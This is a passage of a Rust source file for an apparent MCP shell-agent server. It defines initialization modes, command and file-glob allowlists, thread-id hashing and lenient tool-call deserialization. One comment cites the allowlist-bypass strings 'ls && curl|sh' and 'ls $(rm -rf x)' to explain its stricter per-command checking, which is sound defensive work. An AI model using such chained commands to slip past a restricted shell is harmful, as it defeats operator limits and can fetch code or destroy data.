winx_code_agent/types.rs
1use schemars::JsonSchema;
2use serde::{Deserialize, Serialize};
3
4pub const MAX_NORMALIZED_THREAD_ID_BYTES: usize = 96;
5const THREAD_ID_HASH_SUFFIX_BYTES: usize = 9;
6
7pub fn normalize_thread_id(thread_id: &str) -> String {
8 let filtered: String = thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect();
9 if filtered.is_empty() {
10 return filtered;
11 }
12
13 // Filtering can collapse distinct ids ("user-1" and "user1"), and a caller
14 // can otherwise create pathologically long state-file names. Preserve safe,
15 // short ids verbatim; every changed or oversized id receives a stable hash of
16 // the ORIGINAL input and a UTF-8-safe prefix bounded to 96 bytes total.
17 if filtered == thread_id && filtered.len() <= MAX_NORMALIZED_THREAD_ID_BYTES {
18 return filtered;
19 }
20
21 let prefix_budget = MAX_NORMALIZED_THREAD_ID_BYTES - THREAD_ID_HASH_SUFFIX_BYTES;
22 let mut prefix = String::with_capacity(prefix_budget);
23 for character in filtered.chars() {
24 if prefix.len() + character.len_utf8() > prefix_budget {
25 break;
26 }
27 prefix.push(character);
28 }
29 format!("{prefix}_{:08x}", fnv1a_32(thread_id))
30}
31
32/// Marker strings (literal or regex) that let `wait_for_turn` drive an arbitrary
33/// interactive TUI without a hand-written recognizer. Loaded from the
34/// `WINX_TURN_RECOGNIZER_CONFIG` env var (JSON) when the recognizer hint is
35/// `configurable`. Each marker is matched case-insensitively; an invalid regex
36/// falls back to a literal-substring match.
37#[derive(Debug, Clone, Default, Deserialize)]
38pub struct TurnRecognizerMarkers {
39 /// Screen is actively working (scanned across the whole screen). E.g.
40 /// `["esc to interrupt", "generating"]`.
41 #[serde(default)]
42 pub busy: Vec<String>,
43 /// Screen is waiting for input (scanned in the tail). E.g. `["❯", "›"]`.
44 #[serde(default)]
45 pub awaiting_input: Vec<String>,
46 /// Screen is asking for confirmation (scanned in the tail). E.g.
47 /// `["do you want", "y/n"]`.
48 #[serde(default)]
49 pub awaiting_approval: Vec<String>,
50}
51
52impl TurnRecognizerMarkers {
53 /// True when no markers are configured (nothing to recognize).
54 pub fn is_empty(&self) -> bool {
55 self.busy.is_empty() && self.awaiting_input.is_empty() && self.awaiting_approval.is_empty()
56 }
57}
58
59/// FNV-1a 32-bit — a tiny, dependency-free hash that is stable across runs and
60/// compiler versions (unlike `DefaultHasher`), so a normalized `thread_id`
61/// resolves to the same session and state file after a server restart.
62fn fnv1a_32(s: &str) -> u32 {
63 let mut hash: u32 = 0x811c_9dc5;
64 for byte in s.bytes() {
65 hash ^= u32::from(byte);
66 hash = hash.wrapping_mul(0x0100_0193);
67 }
68 hash
69}
70
71/// Type of shell environment initialization
72///
73/// This enum represents the different ways the Initialize tool can be called,
74/// depending on the current state of the conversation and what the user is requesting.
75#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
76#[serde(rename_all = "snake_case")]
77pub enum InitializeType {
78 /// Initial call at the start of a conversation
79 ///
80 /// This should be used for the first Initialize call in a conversation.
81 /// It sets up a new shell environment with the specified parameters.
82 FirstCall,
83
84 /// User requested to change the mode
85 ///
86 /// This should be used when the user asks to switch between modes
87 /// (e.g., from "wcgw" to "architect" or "`code_writer`").
88 UserAskedModeChange,
89
90 /// Reset the shell environment due to issues
91 ///
92 /// This should be used when the shell environment appears to be in a bad state
93 /// and needs to be reset to continue properly.
94 ResetShell,
95
96 /// User requested to change the workspace
97 ///
98 /// This should be used when the user asks to switch to a different
99 /// workspace or project directory during the conversation.
100 UserAskedChangeWorkspace,
101}
102
103#[derive(Debug, Clone, PartialEq)]
104pub enum ModeName {
105 Wcgw,
106 Architect,
107 CodeWriter,
108}
109
110// Custom serializer implementation to ensure values are properly quoted in JSON
111impl Serialize for ModeName {
112 fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
113 where
114 S: serde::Serializer,
115 {
116 match self {
117 ModeName::Wcgw => serializer.serialize_str("wcgw"),
118 ModeName::Architect => serializer.serialize_str("architect"),
119 ModeName::CodeWriter => serializer.serialize_str("code_writer"),
120 }
121 }
122}
123
124// Custom deserializer to support multiple aliases
125impl<'de> Deserialize<'de> for ModeName {
126 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
127 where
128 D: serde::Deserializer<'de>,
129 {
130 let s = String::deserialize(deserializer)?;
131 match s.as_str() {
132 "wcgw" => Ok(ModeName::Wcgw),
133 "architect" => Ok(ModeName::Architect),
134 "code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
135 _ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
136 }
137 }
138}
139
140// Custom JsonSchema (we removed the derive for the hand-written ser/de above).
141// Emit the concrete string enum INLINE — a previous version returned a `$ref` to
142// `#/definitions/ModeName`, a node that was never populated. Lenient clients
143// (Claude Code) ignored the dangling ref, but strict MCP clients (Cline, and
144// likely ChatGPT) reject the whole tool call: "Reference not found:
145// #/definitions/ModeName". The variants mirror the Serialize impl above.
146impl JsonSchema for ModeName {
147 fn schema_name() -> std::borrow::Cow<'static, str> {
148 "ModeName".into()
149 }
150
151 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
152 schemars::json_schema!({
153 "type": "string",
154 "enum": ["wcgw", "architect", "code_writer"],
155 "description": "Shell mode: wcgw (full), architect (read-only), code_writer (custom)"
156 })
157 }
158}
159
160#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
161pub struct CodeWriterConfig {
162 #[serde(default)]
163 pub allowed_globs: AllowedGlobs,
164 #[serde(default)]
165 pub allowed_commands: AllowedCommands,
166}
167
168impl CodeWriterConfig {
169 pub fn update_relative_globs(&mut self, workspace_root: &str) {
170 // Only process if we have a list of globs
171 if let AllowedGlobs::List(globs) = &self.allowed_globs {
172 let updated_globs = globs
173 .iter()
174 .map(|glob| {
175 if std::path::Path::new(glob).is_absolute() {
176 glob.clone()
177 } else {
178 format!("{workspace_root}/{glob}")
179 }
180 })
181 .collect();
182
183 self.allowed_globs = AllowedGlobs::List(updated_globs);
184 }
185 }
186}
187
188#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
189#[serde(untagged)]
190pub enum AllowedGlobs {
191 All(String),
192 List(Vec<String>),
193}
194
195impl Default for AllowedGlobs {
196 fn default() -> Self {
197 AllowedGlobs::All("all".to_string())
198 }
199}
200
201impl AllowedGlobs {
202 /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
203 /// Without this, a literal glob named "all" would be the only allowed path.
204 pub fn normalize(&mut self) {
205 if let AllowedGlobs::List(items) = self {
206 if items.len() == 1 && items[0] == "all" {
207 *self = AllowedGlobs::All("all".to_string());
208 }
209 }
210 }
211
212 #[allow(dead_code)]
213 pub fn is_allowed(&self, path: &str) -> bool {
214 match self {
215 AllowedGlobs::All(s) if s == "all" => true,
216 AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
217 Ok(pattern) => pattern.matches(path),
218 Err(_) => false,
219 }),
220 AllowedGlobs::All(_) => false,
221 }
222 }
223}
224
225#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
226#[serde(untagged)]
227pub enum AllowedCommands {
228 All(String),
229 List(Vec<String>),
230}
231
232impl Default for AllowedCommands {
233 fn default() -> Self {
234 AllowedCommands::All("all".to_string())
235 }
236}
237
238impl AllowedCommands {
239 /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
240 pub fn normalize(&mut self) {
241 if let AllowedCommands::List(items) = self {
242 if items.len() == 1 && items[0] == "all" {
243 *self = AllowedCommands::All("all".to_string());
244 }
245 }
246 }
247
248 pub fn is_allowed(&self, command_line: &str) -> bool {
249 match self {
250 AllowedCommands::All(s) if s == "all" => true,
251 AllowedCommands::All(_) => false,
252 AllowedCommands::List(commands) => {
253 // Enforce the allowlist against EVERY command the line would run
254 // (pipelines, &&/||/;, command & process substitution, subshells),
255 // not just the first whitespace token — which `ls && curl|sh` and
256 // `ls $(rm -rf x)` trivially bypassed. A parse failure is fail
257 // closed: a restricted mode must not run what it can't vet.
258 match crate::utils::bash_parser::extract_command_texts(command_line) {
259 Ok(cmds) if !cmds.is_empty() => cmds
260 .iter()
261 .all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
262 _ => false,
263 }
264 }
265 }
266 }
267}
268
269/// Whether `cmd` is the allowlist entry `allowed` or a sub-invocation of it,
270/// enforcing a word boundary so `ls` does not also permit `lsof`, and
271/// `cargo test` does not permit `cargo testimony`.
272fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
273 let cmd = cmd.trim();
274 let allowed = allowed.trim();
275 if allowed.is_empty() {
276 return false;
277 }
278 cmd == allowed
279 || cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
280}
281
282/// Parameters for initializing the shell environment
283///
284/// This struct represents the parameters needed to initialize or update the shell environment.
285/// It is used by the Initialize tool, which must be called before any other shell tools.
286#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
287pub struct Initialize {
288 /// Initialization type, indicating the purpose of the call
289 ///
290 /// - `FirstCall`: Initial setup for a new conversation
291 /// - `UserAskedModeChange`: User requested to change the mode during a conversation
292 /// - `ResetShell`: Reset the shell if it's not working properly
293 /// - `UserAskedChangeWorkspace`: User requested to change the workspace during a conversation
294 #[serde(rename = "type")]
295 #[serde(default = "default_init_type")]
296 pub init_type: InitializeType,
297
298 /// Path to the workspace directory or file
299 ///
300 /// Local transports accept an absolute path or one relative to the current directory.
301 /// Remote HTTP sessions require an absolute path so the project identity is unambiguous.
302 /// If it's a file, the parent directory will be used as the workspace.
303 /// If it doesn't exist and is an absolute path, it will be created.
304 /// If it's a relative path and doesn't exist, an error will be returned.
305 pub any_workspace_path: String,
306
307 /// List of files to read initially
308 ///
309 /// These files can be absolute paths or paths relative to the workspace.
310 /// They will be read and their contents provided in the response.
311 #[serde(default)]
312 pub initial_files_to_read: Vec<String>,
313
314 /// ID of a task to resume
315 ///
316 /// If provided during a `first_call`, the task with this ID will be resumed.
317 /// This allows continuing a conversation from a previous session.
318 #[serde(default = "String::new")]
319 #[serde(deserialize_with = "deserialize_string_or_null")]
320 pub task_id_to_resume: String,
321
322 /// Mode name for the shell environment
323 ///
324 /// - `wcgw`: Full permissions (default)
325 /// - `architect`: Restricted permissions, read-only
326 /// - `code_writer`: Custom permissions for code writing
327 #[serde(default = "default_mode_name")]
328 pub mode_name: ModeName,
329
330 /// ID of the thread session
331 ///
332 /// If not provided for a `first_call`, a new ID will be generated.
333 /// This ID must be included in all subsequent tool calls.
334 #[serde(default)]
335 #[serde(deserialize_with = "deserialize_string_or_null")]
336 pub thread_id: String,
337
338 /// Configuration for `code_writer` mode
339 ///
340 /// Only used when `mode_name` is "`code_writer`".
341 /// Specifies allowed commands and file globs for writing/editing.
342 #[serde(default)]
343 #[serde(deserialize_with = "deserialize_code_writer_config")]
344 pub code_writer_config: Option<CodeWriterConfig>,
345}
346
347// Custom deserializer for strings that might be null
348fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
349where
350 D: serde::Deserializer<'de>,
351{
352 // First try to deserialize as a string
353 let result = serde_json::Value::deserialize(deserializer)?;
354
355 match result {
356 // Return empty string for null values
357 serde_json::Value::Null => Ok(String::new()),
358 // If it's a string, use that
359 serde_json::Value::String(s) => {
360 // Handle "null" string specially
361 if s == "null" {
362 Ok(String::new())
363 } else {
364 Ok(s)
365 }
366 }
367 // Otherwise try to convert to a string
368 _ => match serde_json::to_string(&result) {
369 Ok(s) => Ok(s),
370 Err(_) => Ok(String::new()),
371 },
372 }
373}
374
375// Custom deserializer for code_writer_config that handles the "null" string case
376fn deserialize_code_writer_config<'de, D>(
377 deserializer: D,
378) -> Result<Option<CodeWriterConfig>, D::Error>
379where
380 D: serde::Deserializer<'de>,
381{
382 // This handles multiple possible input types
383 let value = serde_json::Value::deserialize(deserializer)?;
384
385 match value {
386 // If it's explicitly null or the string "null", return None
387 serde_json::Value::Null => Ok(None),
388 serde_json::Value::String(s) if s == "null" => Ok(None),
389 // Otherwise try to parse it as CodeWriterConfig
390 _ => {
391 match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
392 Ok(config) => {
393 tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
394 Ok(Some(config))
395 }
396 Err(e) => {
397 // Fail loud. A malformed restricted-mode config must NOT silently
398 // degrade to `None` — `None` falls back to All commands / All globs,
399 // so the model would believe the shell is locked down while it is in
400 // fact wide open. Refuse to initialize instead.
401 tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
402 Err(serde::de::Error::custom(format!(
403 "Invalid code_writer config: {e}. Refusing to start with a permissive \
404 fallback — fix the allowed_commands / allowed_globs shape (or pass null \
405 to opt out explicitly)."
406 )))
407 }
408 }
409 }
410 }
411}
412
413/// Default `mode_name` for Initialize
414fn default_mode_name() -> ModeName {
415 ModeName::Wcgw
416}
417
418/// Default `init_type` for Initialize
419fn default_init_type() -> InitializeType {
420 InitializeType::FirstCall
421}
422
423// Mode types
424#[derive(Debug, Clone, Copy, PartialEq)]
425pub enum Modes {
426 Wcgw,
427 Architect,
428 CodeWriter,
429}
430
431/// Convert the wire-level `ModeName` (parsed from the `Initialize` request, with
432/// its alias spellings) into the runtime `Modes`. Done as `From` rather than a
433/// hand-written `convert_mode_name` so the compiler enforces that every `ModeName`
434/// variant maps to a `Modes` one — adding a variant to either enum without the
435/// other becomes a compile error here.
436impl From<&ModeName> for Modes {
437 fn from(name: &ModeName) -> Self {
438 match name {
439 ModeName::Wcgw => Modes::Wcgw,
440 ModeName::Architect => Modes::Architect,
441 ModeName::CodeWriter => Modes::CodeWriter,
442 }
443 }
444}
445
446impl std::fmt::Display for Modes {
447 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
448 match self {
449 Modes::Wcgw => write!(f, "wcgw"),
450 Modes::Architect => write!(f, "architect"),
451 Modes::CodeWriter => write!(f, "code_writer"),
452 }
453 }
454}
455
456// Inline string enum, same reasoning as `ModeName` above: a `$ref` to
457// `#/definitions/Modes` was dangling and breaks strict MCP clients.
458impl JsonSchema for Modes {
459 fn schema_name() -> std::borrow::Cow<'static, str> {
460 "Modes".into()
461 }
462
463 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
464 schemars::json_schema!({
465 "type": "string",
466 "enum": ["wcgw", "architect", "code_writer"]
467 })
468 }
469}
470
471/// Special key types for shell interaction
472/// Matches wcgw Python's Specials enum exactly
473#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
474pub enum SpecialKey {
475 Enter,
476 #[serde(rename = "Key-up")]
477 KeyUp,
478 #[serde(rename = "Key-down")]
479 KeyDown,
480 #[serde(rename = "Key-left")]
481 KeyLeft,
482 #[serde(rename = "Key-right")]
483 KeyRight,
484 #[serde(rename = "Ctrl-c")]
485 CtrlC,
486 #[serde(rename = "Ctrl-d")]
487 CtrlD,
488 #[serde(rename = "Ctrl-z")]
489 CtrlZ,
490}
491
492/// Parameters for the `ReadFiles` tool
493///
494/// This struct represents the parameters needed to read one or more files.
495/// Line ranges can be specified in the path itself (e.g., "file.rs:10-20").
496#[derive(Debug, Clone, Serialize, JsonSchema)]
497pub struct ReadFiles {
498 /// List of file paths to read.
499 /// Supports line range syntax: "file.rs:10-20" for lines 10-20,
500 /// "file.rs:10-" for line 10 onwards, "file.rs:-20" for first 20 lines.
501 pub file_paths: Vec<String>,
502
503 /// Optional thread ID identifying the shell session to operate on. When
504 /// omitted, the most recently active session is used.
505 #[serde(default)]
506 pub thread_id: String,
507
508 // Internal fields - not part of MCP schema (parsed from file_paths)
509 #[serde(skip)]
510 #[schemars(skip)]
511 pub start_line_nums: Vec<Option<usize>>,
512
513 #[serde(skip)]
514 #[schemars(skip)]
515 pub end_line_nums: Vec<Option<usize>>,
516}
517
518// Custom deserializer for ReadFiles - parses line ranges from file paths like wcgw Python
519impl<'de> Deserialize<'de> for ReadFiles {
520 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
521 where
522 D: serde::Deserializer<'de>,
523 {
524 #[derive(Deserialize)]
525 struct ReadFilesHelper {
526 file_paths: Option<Vec<String>>,
527 #[serde(default)]
528 thread_id: Option<String>,
529 }
530
531 let input = serde_json::Value::deserialize(deserializer)?;
532
533 if !input.is_object() {
534 if input.is_null() {
535 return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
536 }
537 return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
538 }
539
540 let helper: ReadFilesHelper = serde_json::from_value(input)
541 .map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
542
543 let thread_id = helper.thread_id.unwrap_or_default();
544 let file_paths = match helper.file_paths {
545 Some(paths) if !paths.is_empty() => paths,
546 Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
547 None => return Err(serde::de::Error::custom("file_paths is required.")),
548 };
549
550 // Parse line ranges from file paths (like wcgw Python's model_post_init)
551 let mut clean_file_paths = Vec::with_capacity(file_paths.len());
552 let mut start_line_nums = Vec::with_capacity(file_paths.len());
553 let mut end_line_nums = Vec::with_capacity(file_paths.len());
554
555 for path in file_paths {
556 let (clean_path, start, end) = parse_file_path_with_line_range(&path);
557 clean_file_paths.push(clean_path);
558 start_line_nums.push(start);
559 end_line_nums.push(end);
560 }
561
562 Ok(ReadFiles { file_paths: clean_file_paths, thread_id, start_line_nums, end_line_nums })
563 }
564}
565
566fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
567 let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
568 return (path.to_string(), None, None);
569 };
570
571 let Some((start, end)) = parse_line_spec(line_spec) else {
572 return (path.to_string(), None, None);
573 };
574
575 (potential_path.to_string(), start, end)
576}
577
578fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
579 if line_spec.chars().all(|c| c.is_ascii_digit()) {
580 return line_spec.parse().ok().map(|line| (Some(line), None));
581 }
582
583 let (start, end) = line_spec.split_once('-')?;
584
585 if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
586 return end.parse().ok().map(|line| (None, Some(line)));
587 }
588
589 if !start.is_empty()
590 && start.chars().all(|c| c.is_ascii_digit())
591 && (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
592 {
593 let start = start.parse().ok()?;
594 let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
595 return Some((Some(start), end));
596 }
597
598 None
599}
600
601impl ReadFiles {
602 /// Line numbers are always shown (like wcgw Python)
603 pub fn show_line_numbers(&self) -> bool {
604 true
605 }
606
607 /// Get the clean file path without line range suffix
608 pub fn get_clean_path(&self, index: usize) -> String {
609 parse_file_path_with_line_range(&self.file_paths[index]).0
610 }
611}
612
613/// Default true value for `status_check`
614fn default_true() -> bool {
615 true
616}
617
618/// Types of actions that can be performed with the `BashCommand` tool
619#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
620#[serde(tag = "type", rename_all = "snake_case")]
621pub enum BashCommandAction {
622 /// Execute a shell command
623 Command {
624 command: String,
625 #[serde(default)]
626 is_background: bool,
627 /// Opt out of the single-top-level-statement guard. By default winx
628 /// rejects multi-statement commands (`a; b`, `a && b; c`, etc.) so the
629 /// agent has to be explicit about what it's running. Set this to true
630 /// when you knowingly want to run a composite command without
631 /// wrapping it in `bash -lc '...'`.
632 #[serde(default)]
633 allow_multi: bool,
634 },
635
636 /// Check the status of a running command.
637 ///
638 /// By default returns only what changed since the previous call — agents
639 /// driving long-lived TUIs do not need the cumulative buffer on every poll.
640 /// Set `verbose: true` to receive a fresh snapshot regardless of the dedup
641 /// hash, or `scrollback_lines: Some(N)` to also pull the last N lines from
642 /// the PTY ringbuffer.
643 StatusCheck {
644 #[serde(default = "default_true")]
645 status_check: bool,
646 bg_command_id: Option<String>,
647 #[serde(default)]
648 scrollback_lines: Option<usize>,
649 #[serde(default)]
650 verbose: bool,
651 },
652
653 /// Send text to a running command. Set `submit` to true to append a carriage
654 /// return after the bytes so the target program receives the input as a
655 /// completed line (matches what hitting Enter would do in a TUI).
656 SendText {
657 /// Text to type into the running program. Must be non-empty: to press
658 /// Enter alone, use `send_specials: ["Enter"]` instead.
659 #[schemars(length(min = 1))]
660 send_text: String,
661 bg_command_id: Option<String>,
662 #[serde(default)]
663 submit: bool,
664 },
665
666 /// Send special keys to a running command. `submit` works the same as in
667 /// `SendText`.
668 SendSpecials {
669 send_specials: Vec<SpecialKey>,
670 bg_command_id: Option<String>,
671 #[serde(default)]
672 submit: bool,
673 },
674
675 /// Send ASCII characters to a running command. `submit` works the same as in
676 /// `SendText`.
677 SendAscii {
678 send_ascii: Vec<u8>,
679 bg_command_id: Option<String>,
680 #[serde(default)]
681 submit: bool,
682 },
683
684 /// Snapshot the live, stable screen of a shell's terminal: the consolidated
685 /// view a human would see right now (cursor moves, redraws, alternate-screen
686 /// and synchronized-output already applied), ANSI stripped. Unlike
687 /// `status_check`, it never stacks redraw generations and never waits — a
688 /// point-in-time photo, ideal for reading an interactive TUI's current frame
689 /// (the `claude` CLI, vim, htop, fzf).
690 Screen {
691 #[serde(default = "default_true")]
692 screen: bool,
693 bg_command_id: Option<String>,
694 /// Last N visible lines to return (0 or omitted = full screen buffer).
695 #[serde(default)]
696 lines: Option<usize>,
697 /// When true, return only the lines that CHANGED since the last `screen`
698 /// look (big token savings when polling a TUI frame-by-frame) instead of
699 /// the whole frame. First look, or a large change, still returns full.
700 #[serde(default)]
701 diff: bool,
702 },
703
704 /// Block until an interactive TUI finishes its turn and is ready for input.
705 /// Combines generic quiescence (the screen stopped changing for `quiet_ms`)
706 /// with a per-app recognizer, then returns the stable snapshot plus the
707 /// detected turn state (`busy` / `awaiting_input` / `awaiting_approval`).
708 WaitForTurn {
709 #[serde(default = "default_true")]
710 wait_for_turn: bool,
711 bg_command_id: Option<String>,
712 /// Recognizer hint: `auto` (default), `claude`, `codex`, `antigravity`
713 /// (aka `agy`) or `generic`.
714 #[serde(default)]
715 recognizer: Option<String>,
716 /// Quiet window in ms — the screen must be unchanged this long to count
717 /// as idle (default 600).
718 #[serde(default)]
719 quiet_ms: Option<u64>,
720 /// Hard cap in seconds before returning regardless (default 30).
721 #[serde(default)]
722 timeout_seconds: Option<f32>,
723 /// Visible lines to return in the final snapshot (0 or omitted = full).
724 #[serde(default)]
725 lines: Option<usize>,
726 /// By default `wait_for_turn` returns as soon as it confirms the app is
727 /// actively working (`busy`), instead of blocking until the turn ends or
728 /// `timeout_seconds` elapses — so a long-running child never pins the
729 /// caller for the whole cap (poll again to keep watching). Set this to
730 /// true for the old behavior: block *through* `busy` until the app is
731 /// ready for input (or the timeout fires).
732 #[serde(default)]
733 wait_through_busy: bool,
734 },
735}
736
737/// Parameters for the `BashCommand` tool
738#[derive(Debug, Clone, Copy, Default, Eq, PartialEq, Serialize, Deserialize, JsonSchema)]
739#[serde(rename_all = "snake_case")]
740pub enum BashWaitPolicy {
741 /// Wait for a bounded inline window. Task-capable clients keep short calls
742 /// inline and promote a command only after the runtime reports it running.
743 #[default]
744 Adaptive,
745 /// Always return the runtime state after a short bounded wait. This policy
746 /// never creates an MCP Task.
747 ReturnEarly,
748 /// Prefer one result after the command exits. Task-capable clients receive
749 /// an MCP Task immediately; other clients receive a bounded synchronous wait.
750 UntilComplete,
751}
752
753/// Parameters for the `BashCommand` tool
754#[derive(Debug, Clone, Serialize, JsonSchema)]
755pub struct BashCommand {
756 /// The action to perform (command, status check, etc.)
757 pub action_json: BashCommandAction,
758
759 /// Requested inline wait in seconds. With the default adaptive policy this
760 /// defaults to 15 without Tasks and is capped to the short promotion window
761 /// with Tasks; `return_early` caps it at 5; the synchronous `until_complete`
762 /// fallback uses 60. Runtime waits never exceed the selected policy's cap.
763 #[serde(default)]
764 #[serde(skip_serializing_if = "Option::is_none")]
765 pub wait_for_seconds: Option<f32>,
766
767 /// The thread ID for this session
768 #[serde(default)]
769 pub thread_id: String,
770}
771
772// Custom deserialization for BashCommand to handle string-encoded action_json
773impl<'de> Deserialize<'de> for BashCommand {
774 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
775 where
776 D: serde::Deserializer<'de>,
777 {
778 let input = serde_json::Value::deserialize(deserializer)?;
779 let serde_json::Value::Object(mut map) = input else {
780 return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
781 };
782
783 let wait_for_seconds = map
784 .remove("wait_for_seconds")
785 .map(serde_json::from_value)
786 .transpose()
787 .map_err(serde::de::Error::custom)?;
788 // `wait_policy` is an MCP adapter concern rather than stored command
789 // state. Validate it here for direct deserializers, then keep the public
790 // `BashCommand` shape source-compatible for library callers.
791 map.remove("wait_policy")
792 .map(serde_json::from_value::<BashWaitPolicy>)
793 .transpose()
794 .map_err(serde::de::Error::custom)?;
795 let thread_id = map
796 .remove("thread_id")
797 .map(thread_id_from_value)
798 .transpose()
799 .map_err(serde::de::Error::custom)?
800 .unwrap_or_default();
801 let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
802
803 // Process action_json which could be a string or an object
804 let action_json = match action_json_value {
805 serde_json::Value::String(s) => {
806 // If it's a string, normalize newlines and try to parse it as JSON
807 // Replace literal newlines with space to avoid JSON parsing errors
808 let sanitized = s.replace('\n', " ");
809 match serde_json::from_str(&sanitized) {
810 Ok(json) => normalize_action_json(json),
811 Err(e) => {
812 // If strict JSON parsing fails, try to be more lenient
813 // For commands containing literal newlines, just wrap the string in a command object
814 tracing::warn!(
815 "Failed to parse action_json as JSON, trying fallback: {}",
816 e
817 );
818
819 // Check for common JSON syntax issues
820 if s.contains("command") && s.contains('{') && s.contains('}') {
821 // It looks like JSON but has issues, let's try to sanitize it
822
823 // Detailed error for troubleshooting
824 tracing::debug!(bytes = s.len(), "JSON parse error in action_json");
825
826 // Common issues: unescaped quotes, newlines, tabs
827 let re_sanitized = s
828 .replace('\n', "\\n") // Replace newlines with escaped newlines
829 .replace('\r', "\\r") // Replace carriage returns with escaped versions
830 .replace('\t', "\\t"); // Replace tabs with escaped versions
831
832 // Attempt to fix unquoted field values (e.g., convert {field: value} to {"field": "value"})
833 let re_sanitized = if !s.contains('"') && s.contains(':') {
834 // Very likely unquoted keys/values
835 tracing::debug!("Attempting to fix unquoted JSON keys/values");
836 re_sanitized
837 } else {
838 re_sanitized
839 };
840
841 match serde_json::from_str(&re_sanitized) {
842 Ok(json) => normalize_action_json(json),
843 Err(err) => {
844 // Log the specific parsing error for debugging
845 tracing::error!("Secondary JSON parse error: {}", err);
846 // Last resort fallback - assume it's a command string
847 // MUST include "type": "command" for serde tagged enum
848 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
849 }
850 }
851 } else {
852 // Assume it's a simple command string
853 // MUST include "type": "command" for serde tagged enum
854 tracing::info!(
855 bytes = s.len(),
856 "Treating action_json as simple command"
857 );
858 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
859 }
860 }
861 }
862 }
863 // If it's already an object or other JSON value, normalize legacy
864 // WCGW-style shorthand such as {"command": "..."}.
865 value => normalize_action_json(value),
866 };
867
868 // Now deserialize the action_json to our BashCommandAction enum
869 let action: BashCommandAction =
870 serde_json::from_value(action_json.clone()).map_err(|e| {
871 tracing::error!(
872 bytes = action_json.to_string().len(),
873 "Failed to deserialize action_json to BashCommandAction: {}",
874 e
875 );
876
877 // For the SyntaxError: Unexpected token case
878 let err_str = e.to_string();
879 if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
880 return serde::de::Error::custom(format!(
881 "JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
882 ));
883 }
884
885 serde::de::Error::custom(format!(
886 "Invalid action_json: {e}. Please ensure your JSON is properly formatted."
887 ))
888 })?;
889
890 // Return the properly constructed BashCommand
891 Ok(BashCommand {
892 action_json: action,
893 wait_for_seconds,
894 thread_id: normalize_thread_id(&thread_id),
895 })
896 }
897}
898
899fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
900 match value {
901 serde_json::Value::Null => Ok(String::new()),
902 serde_json::Value::String(value) => Ok(value),
903 other => Err(format!("thread_id must be a string or null, got {other}")),
904 }
905}
906
907fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
908 let serde_json::Value::Object(map) = &mut value else {
909 return value;
910 };
911
912 if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
913 *command = sanitize_shell_string(command);
914 }
915
916 if map.contains_key("type") {
917 return value;
918 }
919
920 let inferred_type = if map.contains_key("command") {
921 Some("command")
922 } else if map.contains_key("status_check") {
923 Some("status_check")
924 } else if map.contains_key("send_text") {
925 Some("send_text")
926 } else if map.contains_key("send_specials") {
927 Some("send_specials")
928 } else if map.contains_key("send_ascii") {
929 Some("send_ascii")
930 } else if map.contains_key("screen") {
931 Some("screen")
932 } else if map.contains_key("wait_for_turn") {
933 Some("wait_for_turn")
934 } else {
935 None
936 };
937
938 if let Some(action_type) = inferred_type {
939 map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
940 }
941
942 value
943}
944
945fn sanitize_shell_string(value: &str) -> String {
946 value.replace('\0', "\\x00")
947}
948
949// Bash command mode
950#[derive(Debug, Clone, JsonSchema, PartialEq)]
951pub struct BashCommandMode {
952 pub bash_mode: BashMode,
953 pub allowed_commands: AllowedCommands,
954}
955
956#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
957pub enum BashMode {
958 NormalMode,
959 RestrictedMode,
960}
961
962// File edit mode
963#[derive(Debug, Clone, JsonSchema, PartialEq)]
964pub struct FileEditMode {
